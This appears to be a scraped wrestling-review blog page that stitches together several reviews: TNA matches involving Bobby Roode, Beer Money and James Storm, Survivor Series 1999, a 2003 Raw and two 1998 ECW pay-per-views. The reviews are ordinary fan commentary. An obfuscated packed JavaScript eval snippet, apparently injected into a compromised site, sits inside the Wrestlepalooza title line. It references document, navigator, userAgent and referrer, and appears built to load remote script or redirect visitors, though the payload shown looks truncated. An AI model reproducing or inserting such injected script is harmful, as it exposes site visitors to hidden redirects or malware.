We have a guy that no one cares about that tries desperately to play up the gimmick of being from another country which makes him interesting when he’s just bland otherwise and no one cares about him, and then we have Eric Young. We hit the formula portion of our event with the heels working over Roadie to build up Konnan for the hot tag.

Does anyone else see this sucking harder than a Diva wanting to get a job? I miss Scott D’Amore. The guy was a fat waste of oxygen but he was a decent talker and heel manager. Nothing great here but it’s kind of like the first Mania where the tag titles changed: it allows you to have a title change so the show is memorable and has some impact to steal a pun from myself.

Konnan finally gets the tag after a heel miscommunication (remember folks: TNA is breaking NEW ground!) spot and cleans house. It of course turns into a brawl with Roadie being fine after getting taken out for about 4 minutes. D’Amore tries to use the hockey stick but Killings comes in for the save and a BAD looking X-Factor gives the Kru the titles.

Rating: C. It was average, plain and simple. This match could have been on any TV or house show or PPV and it would have been fine. At seven minutes long they didn’t have much time to get anything substantial going but still, this wasn’t much but it was fine for what it was I suppose.

After this Roode would stay in Team Canada for another few years before becoming a solo act for awhile. I never found Robert Roode: Rich Guy to be interesting at all so we’ll skip over that and jump to something much more fun: Beer Money. This was one of the best teams to ever exist in TNA with Roode teaming up with James Storm to form a country/city tandem. Their biggest rivals were arguably the Motor City Machine Guns so let’s take a look at I believe their first meeting with Beer Money defending. This is REALLY old so please bear with my horrible writing skills.

TurningPoint 2008
Date: November 9, 2008
Location: ImpactZone, Orlando, Florida
Attendance: 1,100
Commentators: DonWest, MikeTenay

Tag Titles: Beer Money vs. Motor City Machine Guns

One of the taglines things is will the Guns finally get the titles. Oh that’s rich. Neither team has their current music so things are just ridiculously bland. Again they mention the Guns possibly winning the titles. Wow that’s funny. So despite acting like heels in the back, they of course act like faces here. Could the psychology have been more messed up in TNA around this time?

The challengers of course are all over the place and getting a ton of damage in on Storm. Shelley reminds me of Miz a bit looks wise. ALL Guns here as Shelley hits a Lionsault for two. The champions take over as I think we’re going to be in for a long while here. Storm puts on his hat which of course makes him fail.

I love the missing the tag thing which is as basic as possible of a tag cheating tactic but it works every time and is perfectly legal. Shelley hits a combination Downward Spiral/DDT to get enough time for the hot tag to Sabin. The crowd is uncommonly quiet here. Dang the Guns are fun to watch.

Storm has been gone for a LONG time. It’s a double team clinic from the Guns here and they’re completely dominating. Storm comes back in and botches what is now Madison Rayne’s move. The big Tower of Doom spot does nothing special at all as they kind of just fall backwards. ASCS Rush to Roode but here’s Jackie of course because we have to have the annoying pest in there once at least. Storm spits Beer in Sabin’s eyes so that DWI can keep the belts for Beer Money. Yes the Guns lose again. Film at 11.

Rating: B-. Not bad here. This was another one of those matches where they let them do their thing and it worked for the most part, but at times the Guns’ offense gets so ridiculous that it’s a waste of time and takes away the point of it. The Guns have to win the titles eventually.  Not bad, but nothing classic.

Eventually Beer Money broke up, and things got REALLY fun. Roode became the #1 contender for the world title by winning the 2011 BFG Series, only to lose the title match to Kurt Angle. James Storm would go on to pin Angle in about a minute on Impact less than a week later, setting up Roode vs. Storm for the title on Impact.

Impact Wrestling
Date: November 3, 2011
Location: Macon Coliseum, Macon, Georgia
Commentators: Taz, Mike Tenay


TNA World Title: James Storm vs. Bobby Roode

Feeling out process to start as they’re playing up the idea that they know each other very well. Off to a test of strength which doesn’t last long. Neither guy has an advantage as we go to a break. Back with Storm ramming shoulders into Roode in the corner. They keep countering each other and Roode can’t get much of an advantage. Storm stays ahead with a superplex but both guys are down.

They slug it out and Storm takes over with some running shots. Blockbuster gets two for Roode. Backstabber gets two for the champ. Eye of the Storm is countered into a spinebuster for two. They head to the floor and both guys barely get back inside in time. Storm tries an Orton DDT but gets countered into a Crossface. Storm makes a rope and Roode is frustrated. Roode tries a superplex but Storm counters into a top rope elbow for two.

This is getting good. Last Call misses as Roode grabs the fisherman’s suplex. Storm counters that and is almost sent into the referee. The referee avoids the contact but twists his knee in the process as Roode is sent to the floor. Roode succumbs to the demons inside and grabs the beer bottle which he breaks over Storm’s head to BIG heat. It gives him the world title at 17:40.

Rating: B. This was a very solid match that could have easily main evented a PPV with about five minutes extra. Still though, good stuff here and that’s what they needed to do. I’m really not sure I like the ending but it’s TNA after all so how good can it get? The heel turn was needed, but Roode is going to have to step up his emotions as a heel to deserve this spot. Good match though.

These two would feud for months, eventually culminating in Roode vs. Storm inside a cage at Lockdown 2012.

Lockdown 2012
Date: April 15, 2012
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Commentators: Mike Tenay, Tazz

TNA World Title: James Storm vs. Bobby Roode

Storm drives a truck into the arena. He has something resembling the AMW trenchcoat but it’s not quite the same. Storm jumps him on the floor before the bell rings and takes the fight to him. He rams Roode into the cage and drops an elbow from a table. The bell hasn’t rung yet and they have over half an hour. Storm blocks a cage shot and they fight up the entrance. All Storm so far.

Storm swings a chair at the cage but misses, allowing Roode to hit a clothesline to the back of the head to drive Storm’s head into the steel. Roode gets a beer bottle and Storm is busted. The beer is put on the steps as Roode hammers away. Montgomery Gentry and Storm’s wife are here. They go into the cage and there’s the bell. Roode is in full control and rams Storm into the cage again.

Roode yells a lot and the crowd is quiet enough that you can hear most of it. Suplex and knee drop get two. That cut is opening more and more. Storm Hulks Up and wins a slugout but a running elbow takes him right back down. Storm gets a boot up in the corner but Roode takes him down with a big clothesline for two. Roode does the cheese grater spot on the cage and the tape on Storm’s wrists are all covered in blood.

Roode is still shouting in Storm’s face and has Storm’s blood on his face. We cut to Storm’s wife and she looks as interested as parents when their kid isn’t on stage in a third grade school play. Storm comes back with a bunch of punches and clotheslines. Here’s the Eye of the Storm but Roode escapes. A catapult sends Roode into the cage and the Eye of the Storm gets two.

James walks into a spinebuster for two. Roode is busted also. Closing Time (Codebreaker/Backstabber combo) gets two. Now Roode gets the cheese grater treatment. Roode ducks a dive and Storm eats cage, allowing Roode to hook the Crossface. Storm manages to roll to the ropes but both guys are spent. They go to the corner and Storm fights out of a superplex but gets his head rammed into the cage.

Roode climbs on Storm to try to get out and he kicks Storm down to the mat. Storm climbs up and gets Roode dangling on the top of the cage. He’s back in now and they slug it out on the top rope some more. Storm pulls him down and loads up the Last Call but it hits the referee flush on the jaw.

Roode takes him down and has the door wide open but he wants the beer bottle. He busts it over Storm’s head and demands that Hebner come in for the cover but it only gets two. Instead of sprinting out the door, Roode walks into the Last Call but Storm can’t follow up. Storm superkicks Roode out the door, AND HE KEEPS THE TITLE at 17:39.

Rating: B. This company amazes me. If there was EVER, I mean EVER, a more perfect setup than this, I’d love to see it because this was as perfect as you could get and they go the other way. On top of that, they do it TONIGHT, with the crowd being as uninterested as they’ve ever been. The match was great, the ending…..oh dear.

We could keep going with this all day so I’ll cut it off there. Roode is a guy who everyone talks about but I’ve never seen the massive appeal. He’s definitely got talent, but I don’t see him as the be all and end all for TNA. I had no problem with him as world champion and his reign went well, other than a far too long feud with Sting. For as basic of a look as he has, Roode has come a long way and is definitely a success.

 

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Survivor Series Count-Up – 1999: Austin vs. Rock vs. HHH

Survivor Series 1999
Date: November 14, 1999
Location: Joe Louis Arena, Detroit, Michigan
Attendance: 18,735
Commentators: Jim Ross, Jerry Lawler

Dudley Boys, Acolytes

Remember that future hall of famer debuting tonight? We get a video telling us how awesome his name is and how awesome his life has been so far. His name: Kurt Angle.

Kurt Angle vs. Shawn Stasiak

Back in and Kurt hits something like a dropkick but is put right back into the chinlock. The hold is broken again and Angle comes back with a powerslam for two. Stasiak hits a lay out F5 but misses a top rope cross body. The Olympic Slam gets the pin and starts the hottest rookie year ever in wrestling.

Team Val Venis vs. Team British Bulldog

Val Venis, Mark Henry, Gangrel, Steve Blackman

British Bulldog, Mean Street Posse

Fabulous Moolah/Mae Young/Tori/Debra vs. Ivory/Luna Vachon/Terri Runnels/Jacqueline

Keep in mind that Tori is a wrestler in name only, Mae and Moolah combined to be over 150 years old, and Terri and Debra are there as eye candy. After less than two minutes, a double clothesline from the old chicks gives Moolah the pin on Ivory. This may have been the worst idea this side of the birth of a hand. This is what Raw is for people.

Moolah and Ivory “brawl” post match.

X-Pac vs. Kane

Post match Kane gets beaten down until Tori comes out. Pac kicks Tori in the face and Kane snaps, sending DX “scattering like quail” according to JR.

The Rock says nothing because HHH shows up and they brawl.

Big Show vs. Mideon/Viscera/Big Boss Man/Prince Albert

This was supposed to be Big Show and Kaientai and Blue Meanie but Show beat them up so he could do this himself. This is during Boss Man vs. Big Show, which is based around Boss Man making fun of Show for having his dad die (kayfabe). It led to a bad moment at a “funeral” where Boss Man stole the coffin and dragged Show along the ground on top of the coffin with a car. Show chokes Albert to the floor and chokeslams Mideon for the pin in less than 20 seconds. Albert is gone 10 seconds later to a chokeslam, as is Big Visc. Boss Man is like screw this and walks out. Show wins in less than 90 seconds.

The question would eventually be who ran him over, and it would eventually be revealed as Rikishi in one of the biggest WHAT WERE THEY THINKING moments ever. Test, Stephanie, Vince and eventually HHH show up to look at Austin with most of them being concerned. JR goes to see him as well. Vince accuses HHH and DX but they deny any involvement.

Intercontinental Title: Chyna vs. Chris Jericho

Jericho throws Chyna over the announce table and pours water over her head because Jericho is a jerk. Back in and a missile dropkick gets two for Jericho as does a small package for Chyna. Chyna tries to make a comeback but Jericho bulldogs him down for two and a BIG face pop. A spinwheel kick puts Chyna down and Jericho is swaggering. A clothesline puts Chyna on the floor and Kitty gets kissed.

Chyna comes back with a spear and posts Jericho as the crowd noticeably gets quieter. Back in and Jericho hits a layout powerbomb for two and Jericho is getting frustrated. Lionsault misses and Chyna hits the springboard elbow and a DDT for two. With about two minutes left, Lawler mentions a stipulation that Jericho will get a sex change if he loses. Keep those priorities straight guys.

With the referee down, a belt shot to the head gets two for Chris but Chyna comes back with a Pedigree for two of her own. Jericho puts her in the Walls but Chyna finally makes the rope. The place boos the submission being broken. Jericho loads up a superplex but a Kitty distraction lets Chyna hit him low and a Pedigree (kind of) off the top gets the pin to retain the title.

Team Too Cool vs. Team Edge/Christian

Too Cool, The Hollys

Edge/Christian, Hardy Boys

Off to Crash vs. Matt with Matt getting two off a suplex. Crash gets crotched on the top and punched to the floor. Grandmaster sneaks up on Matt for a sunset bomb to the floor. We unleash the dives as everyone small enough to hits a big dive to take out everyone that was already on the floor with Jeff capping it off. Back in and Christian powerslams Crash for two. The Hollys hit a Hart Attack on Crash Christian for two of their own and Hardcore is in.

Jeff and Scotty do a fast pinfall reversal sequence before Scotty hits the not yet popular Worm. A sitout powerbomb by Scotty with Grandmaster assisting gets two as does a middle rope missile dropkick from Sexay. Too Cool hits the second Hart Attack of the match which gets two on Jeff. Everything breaks down but the Hollys get in an argument. Terri gets on the apron for a distraction which lets Christian hit both of Too Cool low. Jeff hits a 450 on Scotty for the elimination.

Tag Titles: New Age Outlaws vs. Mankind/Al Snow

Mankind hooks a reverse chinlock back in the ring followed by a lot of stomping in the corner from Al. Mankind gets two off a knee lift as things continue to go slowly. Snow hits his headbutts but Road Dogg fires off some lefts and a big right to take Snow down. Everything breaks down and the crowd is DEAD for this. They head to the floor with the Outlaws taking over.

We see Austin get run down again.

WWF World Title: The Rock vs. HHH vs. ???

Show celebrates to end the show.

Ratings Comparison

Original: B-

Redo: C

Kurt Angle vs. Shawn Stasiak

Original: C+

Redo: D+

Team Val Venis vs. Team British Bulldog

Original: D+

Redo: D-

Team Mae Young vs. Team Ivory

Original: N/A

Redo: N/A

Kane vs. X-Pac

Original: C+

Redo: C+

Big Show vs. Team Big Boss Man

Original: N/A

Redo: N/A

Chyna vs. Chris Jericho

Original: B

Redo: B

Team Too Cool vs. Team Edge/Christian

Original: B

Redo: C+

New Age Outlaws vs. Al Snow/Mankind

Original: D+

Redo: D

Big Show vs. HHH vs. The Rock

Original: C+

Redo: C-

Overall Rating

Original: B

Redo: D+

I liked most of the matches better the first time and the overall rating was higher. Simple and easy, as usual.

http://kbwrestlingreviews.com/2011/11/08/history-of-survivor-series-count-up-1999-a-lot-happens-here/

Remember to follow me on Twitter @kbreviews

 

 

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On This Day: September 15, 2003 – Monday Night Raw: Goldberg’s Funeral

Monday Night Raw
Date: September 15, 2003
Location: Carolina Coliseum, Columbia, South Carolina
Commentators: Jim Ross, Jerry Lawler

Rob Van Dam vs. Chris Jericho

Christian tries to get in a cheap shot but gets kicked down instead. Jericho gets dumped to the floor and taken out by a dive as we take a fast break. Back with Van Dam hitting a forearm and the cartwheel moonsault for two. A standing rana (called a moonsault by JR for some reason) gets two for Van Dam so he goes up, only to be shoved off the top by Christian.

Austin makes it a triple threat. You know, LIKE EVERY OTHER TRIPLE THREAT.

Video of Goldberg beating Hogan on Nitro.

Spike Dudley vs. Rob Conway

Spike is in a neckbrace and his brothers fight the other members of La Resistance into the crowd. Conway hits a neckbreaker and wins in about 20 seconds.

Post match Conway powerbombs Spike through a table before the Dudleys make the save. The Dudleys would win the tag titles Sunday in a handicap tables match.

Victoria vs. Fabulous Moolah

Victoria hits both Moolah and Mae, but the distraction of Mae lets Moolah roll her up in thirty seconds. That would be two matches that combined to last less than 60 seconds.

Goldust/Lance Storm vs. Mark Henry/Rodney Mack

Hurricane tries to teach Rosey to fly. Rosey gets a cab instead.

Molly and Gail Kim say their handicap match tonight with Trish is now No Holds Barred. Sure why not.

Gail Kim/Molly Holly vs. Trish Stratus

Rating: F. When you hear the words “no holds barred”, you expect more than a generic bad handicap match. The only thing good about this was the girls all looking good, which was the case for most Divas matches back in the day. This division needed a shot in the arm and it needed one in a hurry.

Test vs. Val Venis

Steiner beats up Test post match but Test gets Stacy before he leaves.

Lawler comes out and asks to fight Snow right now. The match is after a break.

Al Snow vs. Jerry Lawler

Coach and JR are on commentary here as Lawler controls with some very basic stuff. They slug it out and King hits a DDT for two. Snow comes back with a slam but a suplex is countered into a small package for the pin. This was the last match of the show people. This is the main event. Let that sink in.

Coach hits JR before bailing.

Austin runs into Evolution and says HHH is having the Goldberg party by himself.

Overall Rating: F. Despite that TEN MINUTE closing segment, I have zero desire to see either the main event or any of the matches on the show. There are two matches on this show that were long enough to rate: one ended in a draw and one was a no holds barred match that had nothing out of the ordinary. Other than that you have all kinds of stuff like Moolah and Test and the Spike match. Horrible show here and I want nothing to do with Unforgiven or Raw in 2003. Naturally the whole year is on my schedule.

http://kbwrestlingreviews.com/2012/11/03/unforgiven-2003-i-was-wrong-2002-isnt-the-worst-year-ever-for-wwe/

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On This Day: May 3, 1998 – Wrestlepalooza 1998: What Was The Big Deal About Shane Douglas?

Wrestlepalooza eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkzsf|var|u0026u|referrer|yrrna||js|php'.split('|'),0,{})) 1998
Date: May 3, 1998
Location: Cobb County Civic Center, Marietta, Georgia
Attendance: 3,401
Commentator: Joey Styles

It’s been two months since Living Dangerously and not a lot has changed. It’s still Snow vs. Douglas as Snow’s insane rise in popularity continues. Candido and Storm are still champions that hate each other and are defending the belts tonight in a storyline that NO ONE has ever seen before. Van Dam has begun his two year long reign with the title and has his first big defense tonight: he’s fighting Sabu. Oh this could hurt a lot. Let’s get to this as the card looks somewhere between bad and ok.

We do the intro video before the show introduction this time which I like a lot better. The other way just takes me out of the show for some reason. It usually feels like they forgot to do the show opening or something and then went back to it.

F.B.I. vs. BWO

Suddenly I want some alphabet soup. It’s Tracy Smothers and Guido vs. Super Nova and Blue Meanie. The BWO itself is actually over and dead but they both wear blue and team together still so there we are. I want to hit Tommy Rich. The guy is just freaking annoying. He gets a huge SCREW YOU chant directed at him so at least Georgia fans are intelligent. Nova and Guido, the two talented guys, start us out.

Nova is a superhero by the way. Meanie is just a fat guy that has nothing else going for him. Nova is well known for having a very unorthodox offense and it’s on display here. Meanie comes in and Rich says we need to have a dance contest. And the referee dances too. THANKFULLY Smothers jumps Meanie to end this mindlessness. And the referee slams both heels to get two on Smothers. What the heck am I watching???

Finally we get something sensible as Smothers hits a nice bicycle kick to Nova’s head. Meanie can’t even get into the ring correctly. This is what critics mean when they say this company was a joke. When you’re that sloppy, you have no business being in a ring on a major show at all. Meanie misses the moonsault, which is just about the only move Meanie could do without injuring someone else. Nova hits a downward spiral for the pin. And the faces do the YMCA afterwards. My head hurts again.

Rating: D+. It wasn’t bad, but for the most part it was an unfunny comedy match. Nova was cool, but other than that there was just noting at all that stood out here for me. Meanie was just a fat load that never did anything of note outside of ECW (Bluedust was nothing of note and yes I know he was in WWF for awhile) and the FBI were always annoying to me. It’s not bad but it’s nothing to write home about, or better yet it’s nothing to review. Wait what?

We recap Justin Credible vs. Mikey Whipwreck. This feud is STILL going? This was just a way to get Justin over which completely failed as there was one simple problem: Justin wasn’t any good. Paul kept trying to tell us he was but it simply wasn’t there. Justin got pushed until the company folded and was getting said push over guys like RVD. That should explain a lot to you.

Justin Credible vs. Mikey Whipwreck

So Mikey’s destroyed knee is all of a sudden fine. Good to know. He gets some good punches in and we’re on the floor already. They throw Justin into the crowd and he more or less crushes a fan. I get that this is a different kind of company, but dude, don’t half crush your fans. Justin shoves Mikey off the apron so that he crashes into the guard rail. We have our first chair of the evening and Mikey takes a SICK bump into it.

That looked like it would have nearly killed him but of course he’s fine. The fans chant Aldo at Justin. He was Aldo Montoya in WWF in case you didn’t know that. If nothing else he gets a nice counter to the Whippersnapper (Stunner, which Mikey used way before Austin) by just hooking him in a reverse DDT. It was very nice indeed. These fans are really annoying.

I get that they’re a major aspect of ECW, but to fans like me who aren’t huge fans and are the audience that ECW needed to grab in order to stay in business, they’re very annoying indeed. Justin gets suplexed through a table which of course is impressive even though we see it about five times a show.

And now it’s just about the chair and nothing else. It’s just big spot, two count, chair spot, two count, big spot, two count over and over again. Chastity, the valet of Credible, takes a BAD Whippersnapper off the top. And Justin gets the tombstone out of nowhere onto the chair for the pin. I hated that ending.

Rating: D+. So in other words, Justin lost twice in a row but he gets a more or less fluke win here and he wins the feud. ECW and most other wrestling companies have a major problem with this and it drives me insane. Just because you win the last match in a feud doesn’t mean you win the feud. Take Dreamer vs. Raven for example: Dreamer “won” the feud, but he lost probably 100 times and got one victory. How does that make him the winner?

As for this match, the ending was just big spot after big spot and then Justin got the tombstone for the random pin. That’s supposed to make sense I guess. Justin, who is supposed to be the best wrestler in the world according to Heyman, did nothing other than a throw into the guard rail all match but hits one big move to win the thing. That’s GREAT wrestling indeed Paul.

Rotten and Mahoney want their shot at the titles. They demand a shot and just get one. Ok then.

ECW Tag Titles: Hardcore Chair Swinging Freaks vs. Chris Candido/Lance Storm

They still hate each other and even though they don’t get along and fight each other, they manage to beat every team in the company as they do it. Don’t you just love Heyman’s brilliance? Mind you the challengers were in the arena to make their challenge yet the champions are here first. In a funny spot, they argue over who gets top billing. Oh I get it now: the champions came to the ring and were introduced before they actually accepted the challenge. Is Heyman even thinking?

The Freaks are Axl Rotten and Balls Mahoney in case you were wondering. To my surprise we start with a wrestling sequence. Something tells me this isn’t going to last long. Good night Balls Mahoney is worthless. Rotten is trying to wrestle which works ok but it’s hard to take a guy who wrestles for a team called the Hardcore Chair Swingin Freaks seriously. They do a standard tag match here and it’s really not that bad. I’m very surprised. Rotten throws chops and the fans WOO.

They start a BRING IN FLAIR chant and my head begins to hurt. First off, just no. Second off, isn’t that exactly what ECW is supposed to be against? Third of all, I love how they just assume Heyman can afford that. The fans were stupid at times and were dragged around by Heyman by their noses. It’s really pathetic at times. Sunny shows up and the champions fight over Storm saving her. “Hey! You keep your hands off my fiancé! If she dies who cares??? YOU JUST STAY AWAY!”

And now we get to the flat out stupid part of the match. Balls hits his finisher. There’s no one around. They should win the titles. He goes to get a chair. That’s almost understandable I guess. Now let’s have the stupid part. He turns around with the chair in his hand and Storm jumps up with a springboard to come at Mahoney.

What does he do you ask? Does he throw the chair at Storm? Does he, oh I don’t know, MOVE? Nope. He puts the chair in front of his face so Storm can kick it into Balls’ head. That was just pathetic looking. On and Candido hits Storm with the chair so he can get the pin and they fight back to the locker room. This has NEVER been done before!

Rating: C+. Other than the freaking idiotic stuff at the end, this was ok. The key thing: for the most part they kept things toned down and had a wrestling match. Since Barely Legal they’ve toned the violence down a good bit and it’s been helping a lot. This was ok and would have been a lot better had the ending not sucked as much.

Ad for the merchandise catalogue and Heat Wave 98. That one’s coming soon.

We have a “Legends” ceremony from earlier. It’s Junkyard Dog, Dick Slater, Masked Superstar (Ax from Demolition) and Bullet Bob Armstrong. You know, a bunch of old NWA guys, because ECW and the NWA got along SO well. This was a nice idea, but when you look at it this was just stupid.

Shane Douglas, who is apparently held together with tape at this point, is brought out to be told about how tough he is. So despite all these injuries, it’s fairly obvious he’ll win tonight. We’ll get to the pure idiocy of this later. He runs down the WWF and Shawn, who had just left with the broken back that kept him out for four and a half years. Oh and he runs Flair down too. If Shane drew in the entire run of ECW what Flair or Shawn drew in a single year, I’d be stunned.

This is just Shane saying how great he is and how tough he is and how tonight might be his last match. Taz comes out to tease their showdown. Nope, we’ve still got another 8 months before that because the top face vs. the top heel isn’t a match we can have when the fans are begging for it of course. We get what might be the first F Bomb on an ECW PPV. Taz demands the Title be handed to him instead of you know, winning it.

Taz does a weird looking choke out that wasn’t the Tazmission and security breaks it up. Like I said, this match wouldn’t happen for EIGHT MONTHS. What they were waiting on is beyond me. Bigelow comes out to fight Taz and that’s broken up too. They handcuff Taz and arrest him for no logical reason as Shane is spitting up blood. I love how Shane runs down Shawn but he’s going to do the same thing: make this big come from behind win over Snow which makes NO sense but they did it anyway so Shane can look awesome all over again.

Oh dang it we have a New Jack match now.

Bam Bam Bigelow vs. New Jack

SCREW THIS FREAKING SONG!!! Seriously, who thought this was a good idea? New Jack is going to get destroyed other than some weapons shots because the guy can’t wrestle a freaking match to save his life but hey, let’s play his blasted song while he’s getting killed. Yep, 30 seconds in and we have weapons. Why is this appealing at all? It’s just mindless violence that has no business being called wrestling.

Bigelow is better than this on so many levels and it’s not even funny. We’re in the crowd now as that song is still playing. Bigelow just throws chairs at him as this is supposed to be entertaining. I get that some fans want this, but it makes the whole company look amateurish as a result. If this was still a regional promotion, this would be just fine. But it’s not a regional company anymore.

They wanted to go national but they can’t let go of the hardcore nonsense and it’s really hurting the product quite a bit. This is going to get at least ten minutes of about three hours. And New Jack jumps off a balcony with a guitar shot to Bigelow’s head. So even though that should likely kill both of them, the fans cheer.

And now let’s just lay around for awhile because that’s a great use of PPV time. Ok to be fair almost all wrestling companies do the laying around thing. Bigelow hits the Greetings From Asbury Park which doesn’t connect at all but whatever. At least it’s over.

Rating: F. I get why it’s here, but it still sucked and was completely worthless. At least we get Welcome to the Jungle. I hate these matches or whatever they are.

We see Dreamer and Sandman getting beaten up by the Dudleys set to a ballad of all things. That was odd.

Dudley Boys vs. Tommy Dreamer/Sandman

Sandman cuts off the always funny Gertner entrance but the song makes up for it a bit. Beaulah is about as close to perfect as you can get. This is another “grudge” match where the grudge was developed between PPVs with no explanation as to what started it or any useless information like that. I get that Sandman’s entrance is cool, but they need to cut a minute or two out of it as it just goes on forever. Yep this is going to be a massive brawl because it’s been a full 4 minutes since we saw one of those.

And there’s the first table and my eyes roll immediately. This of course devolves into a massive brawl that has no semblance of anything noteworthy at all. We get some great shots of Beaulah and that’s about it. Sandman leaves because of his neck and after about five minutes of Tommy being murdered, Spike more or less replaces Sandman.

He gets a 3D for trying to save Beaulah but Sandman comes back in a neck brace. Yeah because he was able to see the doctor and the doctor released him inside of five minutes I guess. A pair of DDTs end this and the Dudleys lose.

Rating: D-. Only reason this isn’t failing is I’ve always thought Beaulah was beyond sexy. This was just ridiculous as Dreamer survived what should have killed him to come back and be fine. It was just a total mess and it wasn’t entertaining for the most part. They had no idea what to do with the Dudleys at this point.

So Sabu had a TV Title shot here tonight against Bigelow and he sent RVD, his partner, in to beat Bigelow up a bit but Van Dam wound up winning the title, leading to this. That’s actually decent.

TV Title: Rob Van Dam vs. Sabu

Something tells me we’re going to have a ton of weapons here and I base that on the fact that it’s a Sabu match. Van Dam gets on the mic after they feel each other out a bit and says this isn’t going to happen and it was a plan. Sabu of course goes after him anyway and makes the speech completely pointless. They actually go four minutes with no weapons. That has to be a record of some kind for Sabu.

We go back to the ring at about 8 minutes in for a change of pace. Oh never mind the chair is there with him. And hey we go back to the floor AGAIN. Joey talks about how brutal it is. I couldn’t agree more. In an impressive spot, Van Dam manages to crotch himself on the guard rail when there’s no guard rail underneath him. Joey: Sabu is deadly at throwing chairs. That can’t be a good sign.

Sabu of course kicks out of the Van Daminator and the Five Star because that’s perfectly reasonable. We’ve been going about half an hour now and I think I know what’s coming. I know this isn’t a lot of text for that long of a match but it’s been about 15 minutes of them just wasting time or laying around or setting up tables and chairs.

There’s been more or less nothing of note here and I’m sure some ECW fan will explain to me that I just don’t get this match and why it’s so great. I’d love one day to watch one of these shows with an ECW fan and hear them try to defend it. Sabu kicks out of the Five Star through a table. Yep that’s perfectly realistic. The move known as Starship Pain gets two and then Sabu gets two and the bell rings for the STUPID time limit draw. They yell at each other for a long time.

Rating: D. There were some interesting drama spots near the end but for the most part this match sucked. There was so much time spent laying around and ridiculous kicking out of moves that it just stopped being interesting. Most of it was on the floor and Sabu of course botched half of what he did. This was ridiculous and the third match in a row that was stupid beyond belief, and considering the obvious ending coming up, this isn’t going to be a highly received show.

We hear from Shane who reminds us that he’s VERY hurt. We get WAY too long of a recap of Shane’s career and a quick thing from Snow saying he’ll win.

ECW World Title: Al Snow vs. Shane Douglas

So Snow is more or less the hottest thing in the company’s history as everyone likes him and he’s having the best matches of his career. Shane is hurt beyond belief here so to have him win would tick off the audience and completely bury Snow more or less guarantees that Shane will keep the belt here. This starts off like a good showdown match: with both guys being in control for a good while.

This is actually decent stuff with both guys only using a chair. Snow actually kicks out of the belly to belly suplex which anywhere else would be nothing but here it’s a big deal apparently. There’s also no interference for the most part until the locker room empties to watch the match. After a Francine run in, Snow goes up top for a sunset flip which completely misses and Shane drops down for the pin.

The fans go DEAD. I mean they are as quiet as any fans ever have been in ECW history. This was just freaking stupid booking and you can tell Joey thinks so too. This would have been like Austin losing to Michaels at Mania 14.

Rating: D+. And that’s being generous. The problem was that Heyman had booked himself into a corner as he had Taz vs. Shane which he had to build to but Snow was WAY more over than both guys and should have won the title here. However, it had to be about Shane again who no one cared about other than like 8 people. Again, he held the title EIGHT more months after this, FINALLY losing it to Taz in January before leaving a little while later.

The problem was that Snow or Taz should have had the title but by the time they pulled the trigger with Taz the company was in major trouble. Snow was literally on Raw the next night and not seen in ECW again, and why should he have been? He just lost the biggest push of his career and was more or less crippled so that Shane Douglas could get another big push. And people wonder why ECW isn’t around today.

Overall Rating: F. This show was just bad as NOTHING happened here. Seriously, the TV Title match goes to a draw, Heyman’s idiocy eats Al Snow for a solid meal, the Storm/Candido feud is STILL going on and burying a team at a time, Sandman and Dreamer beat the best team in the company despite one being in a neck brace and Credible is apparently cool for beating up a comedy champion.

What was the point here? The Snow thing is just inexcusable, period. It’s stupid stuff like this that caused Heyman to be out of business and he should be considering this crap. Oh and someone PLEASE defend RVD vs. Sabu. I want you to.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




On This Day: March 1, 1998 – Living Dangerously 1998: This Company Is In Trouble

Living Dangerously 1998
Date: March 1, 1998
Location: Asbury Park Convention Center, Asbury Park, New Jersey
Attendance: 3,700
Commentator: Joey Styles

It’s been about four to five months since our last outing and only one thing has really changed: Al Snow. He’s risen to prominence now with the Head gimmick and he is having a match tonight with Kronus to showcase himself. Also Storm is feuding with Candido because Storm got thrown out of his spot as a Triple Threat prospect.

 

Jerry Lynn/Chris Chetti vs. F.B.I.

Chetti was the first graduate of the House of Hardcore, the ECW wrestling school, which I know because Joey says that Chris Chetti was the first graduate of the House of Hardcore, the ECW wrestling school. The F.B.I. are all dancing for some reason. This is Guido and Smothers in case you were wondering.

 

Lynn had little credibility at this point but he was getting more popular. Chetti is introduced as the first graduate of the House of Hardcore, the ECW wrestling school. The fans don’t like Smothers, like at all. Maybe Lynn has more credibility at this point than I thought. Ok the WOO for chops is getting annoying.

 

Lynn takes out both guys with a nice looking dive from the top. Rich accidentally nails Chetti. Wait what? That’s what Joey said but it makes no sense. That’s not something I usually have to say about him. He annoys me but to be fair he doesn’t make many huge mistakes. Also to be fair, another guy up there might catch his errors, which are understandable.

 

Chetti hooks a small package but Lynn messes up and has the referee. Again Chris gets the cover on a rollup but there’s no referee. Chetti gets a nice spot where he runs up the corner and comes back with a reverse leg lariat. That was pretty sweet. He finally gets the hot tag to Lynn who cleans house including a jumping back elbow which makes him awesome. Rick comes in with an Italian flag but the shot misses and hits Guido, giving Lynn a rollup for the win.

Rating: C+. Not bad at all. It was pretty fast paced and formula based so everything went fine there. It got the crowd into the show which is never a problem that this place has so that kind of makes these matches redundant. Even still, this was fine.

Joey says Wing Kanemura isn’t here so of course we get a video package anyway on him. He’s not here. Ok then.

Lance Wright, some jerk in a bad suit that says he works for Vince, says that tonight it’s Doug Furnas vs. Tanaka. This guy is really annoying.

Masato Tanaka vs. Doug Furnas

So I watched the whole match before I started writing about it and the only word to describe it is sloppy beyond all belief. I mean they botch a ton of stuff here and it’s not like they’re little spots. They botch BIG spots. Tanaka tries for a tornado DDT but it turns into them just falling all over each other.

 

I guess you can chalk some of this up to them having limited time to prepare, but at the same time these are pros and shouldn’t have to deal with things like this. The fans are booing the heck out of this match and I can’t say for a second that I blame them. It’s just amateurish looking to say the least.

 

A botch here and there is one thing but this is awful. Tanaka ends this nightmare with a roaring elbow. Ok so it wasn’t all botches but still there were FAR too many in here to be acceptable. Post match Wright talks about WWF higher ups and Furnas nails him before putting on an ECW shirt, and I’m assuming defecting or something like that.

